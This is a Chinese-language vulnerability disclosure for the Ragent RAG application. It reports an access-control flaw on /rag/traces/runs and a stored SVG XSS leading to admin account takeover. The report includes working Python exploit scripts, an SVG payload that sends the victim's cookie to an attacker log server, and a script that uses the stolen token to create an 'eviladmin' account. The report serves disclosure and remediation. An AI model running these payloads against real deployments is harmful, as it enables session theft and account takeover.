Ragent 漏洞报告
软件名称:Ragent
开发者或厂商:nageoffer
代码仓库:https://github.com/nageoffer/ragent
1. 普通用户可越权读取调用链
| 简要描述: | 普通用户可调用 /rag/traces/runs,读取其他用户的调用链。 |
|---|---|
| 影响版本: | 1.0.0 ~ 1.1.0 |
| 前置条件: | 攻击者持有普通用户账号。 |
漏洞成因
RagTraceController 的 /rag/traces/runs 只要求登录,不校验角色。相关代码如下:
// rag/src/main/java/com/nageoffer/ai/ragent/rag/controller/RagTraceController.java:38-50 commit c3b6157730
@RestController
@RequiredArgsConstructor
public class RagTraceController {
private final RagTraceQueryService ragTraceQueryService;
@GetMapping("/rag/traces/runs")
public Result<IPage<RagTraceRunVO>> pageRuns(RagTraceRunPageRequest request) {
return Results.success(ragTraceQueryService.pageRuns(request));
}
}
复现环境搭建
复现版本为 commit c3b61577。
官方没有提供 compose 文件。将本文附件 docker-compose.yml 放置到项目根目录,并执行:
cat > Dockerfile <<'EOF'
FROM eclipse-temurin:17-jre
WORKDIR /app
COPY src/bootstrap/target/bootstrap-0.0.1-SNAPSHOT.jar app.jar
EXPOSE 9090
ENTRYPOINT ["java","-XX:MaxRAMPercentage=75","-jar","/app/app.jar"]
EOF
(cd src && ./mvnw -DskipTests -Dspotless.check.skip=true clean package)
docker compose up -d --build
用管理员账号登录,创建一个普通用户 lowuser,密码为 lowpass。
复现过程
以管理员账号发起一次对话,然后用普通账号越权读取:
import httpx
base = "http://127.0.0.1:19090/api/ragent"
def login(username, password):
resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password})
return resp.json()["data"]["token"]
admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60)
admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"})
with admin.stream("GET", f"{base}/rag/v3/chat", params={"question": "admin-private-question-42"}) as resp:
for line in resp.iter_lines():
if line:
break
low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=30)
runs = low.get(f"{base}/rag/traces/runs", params={"pageNo": 1, "pageSize": 5}).json()["data"]["records"]
print(runs)
print(low.get(f"{base}/users").text)
普通用户查询 /rag/traces/runs 返回 200,响应中包含管理员的问题和用户名:
[{"conversationId": "2117234767668707328", "question": "admin-private-question-42", "traceId": "2117234768415293440", "userId": "2001523723396308993", "username": "admin", ...}]
普通用户查询 /users 时返回权限不足:
{"code":"A000001","data":null,"message":"权限不足","requestId":null,"success":false}
可见,/users 校验管理员权限,但 /rag/traces/runs 只校验登录。
2. 存储型 SVG XSS 导致受害者账号接管
| 简要描述: | 普通用户上传的 SVG 在受害者打开其文件地址时执行脚本,攻击者可借此接管受害者账号。 |
|---|---|
| 影响版本: | 1.1.0 |
| 前置条件: | 攻击者持有普通用户账号,并能诱导受害者打开其上传文档的文件地址。 |
漏洞成因
文档上传接口只要求登录,文件内容按原样写入对象存储。相关代码如下:
// rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:96-100 commit c3b6157730
@PostMapping(value = "/knowledge-base/{kb-id}/docs/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
public Result<KnowledgeDocumentVO> upload(@PathVariable("kb-id") String kbId,
@RequestPart(value = "file", required = false) MultipartFile file,
@ModelAttribute KnowledgeDocumentUploadRequest requestParam) {
return Results.success(documentService.upload(kbId, requestParam, file));
}
DefaultFileStorageService.upload 用 Tika 探测类型后,把原始字节写入对象存储。相关代码如下:
// rag/src/main/java/com/nageoffer/ai/ragent/rag/service/impl/DefaultFileStorageService.java:72-90 commit c3b6157730
public StoredFileDTO upload(String namespace, MultipartFile file) {
validateNamespace(namespace);
Assert.isFalse(file == null || file.isEmpty(), "上传文件不能为空");
String originalFilename = file.getOriginalFilename();
long size = file.getSize();
String detectedContentType;
try (InputStream is = file.getInputStream()) {
detectedContentType = TIKA.detect(is, originalFilename);
}
try (InputStream is = file.getInputStream()) {
String key = documentKey(namespace, originalFilename);
objectStorageClient.streamPut(kbBucket, key, is, size, detectedContentType);
return buildStoredFileDTO(key, originalFilename, detectedContentType, size);
}
}
文档下载接口按 fileType 从 CONTENT_TYPE_MAP 选择 Content-Type,并以 inline 返回文件。相关代码如下:
// rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:187-199 commit c3b6157730
@GetMapping("/knowledge-base/docs/{docId}/file")
public void file(@PathVariable String docId, HttpServletResponse response) throws Exception {
var doc = documentService.get(docId);
String fileType = doc.getFileType() != null ? doc.getFileType().toLowerCase() : "";
String contentType = CONTENT_TYPE_MAP.getOrDefault(fileType, "application/octet-stream");
response.setContentType(contentType);
response.setHeader("Content-Disposition", ContentDisposition.inline()
.filename(doc.getDocName(), StandardCharsets.UTF_8)
.build()
.toString());
try (InputStream in = fileStorageService.openStream(doc.getFileUrl())) {
StreamUtils.copy(in, response.getOutputStream());
}
}
CONTENT_TYPE_MAP 包含 svg 到 image/svg+xml 的映射。相关代码如下:
// rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:82 commit c3b6157730
Map.entry("svg", "image/svg+xml")
受害者打开 /knowledge-base/docs/{docId}/file 时,浏览器把响应当作 SVG 文档解析,<script> 在 API 源下执行。登录响应的 Cookie 名为 Authorization,没有 HttpOnly,脚本可以读取该 Cookie,并携带它调用需要登录的接口,接管受害者账号。
复现环境搭建
与第 1 节相同。按第 1 节构建并执行 docker compose up -d --build,接口根地址为 http://127.0.0.1:19090/api/ragent,管理员账号为 admin/admin。复现时以管理员账号作为受害者。
复现过程
攻击者登录后创建知识库,并上传下面的 report.svg,其中 http://127.0.0.1:18080/ 是攻击者的 HTTP log 服务:
<svg xmlns="http://www.w3.org/2000/svg" width="640" height="140">
<script>
document.title = "RAGENT_XSS_OK";
fetch("http://127.0.0.1:18080/collect?c=" + encodeURIComponent(document.cookie), {mode: "no-cors"});
</script>
<rect width="640" height="140" fill="white"/>
<text x="20" y="80" font-size="32" fill="red">XSS EXECUTED</text>
</svg>
上传脚本如下:
import httpx
base = "http://127.0.0.1:19090/api/ragent"
def login(username, password):
resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password})
return resp.json()["data"]["token"]
admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60)
admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"})
low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=60)
kb = low.post(f"{base}/knowledge-base", json={
"name": "report-kb",
"embeddingModel": "qwen-emb-8b",
"collectionName": "report_kb_store"
}).json()["data"]
with open("report.svg", "rb") as f:
doc = low.post(
f"{base}/knowledge-base/{kb}/docs/upload",
data={"sourceType": "FILE", "processMode": "CHUNK"},
files={"file": ("report.svg", f, "image/svg+xml")}
).json()["data"]
print(doc["id"])
管理员(受害者)在浏览器中打开 http://127.0.0.1:19090/api/ragent/knowledge-base/docs/{docId}/file,页面显示 XSS EXECUTED:

HTTP log 服务收到受害者(管理员)的 Cookie:
Authorization=cc41bdee51664c6887436bad552a7583
用该 Cookie 创建管理员账号 eviladmin,验证已接管管理员账号:
import httpx
base = "http://127.0.0.1:19090/api/ragent"
stolen = "cc41bdee51664c6887436bad552a7583"
client = httpx.Client(headers={"Authorization": stolen}, timeout=30)
print(client.post(f"{base}/users", json={
"username": "eviladmin",
"password": "evilpass",
"role": "admin"
}).text)
随后该账号可以正常登录并查询用户列表:
create admin with stolen token: {"code":"0","data":"2117236505536626688","message":null,"requestId":null,"success":true}
login as eviladmin: admin dca56c9ceed04ae69db61a4772e6ea88
eviladmin /users: {"code":"0","data":{"current":1,"pages":1,"records":[{"id":"2117236505536626688","username":"eviladmin","role":"admin",...}]}}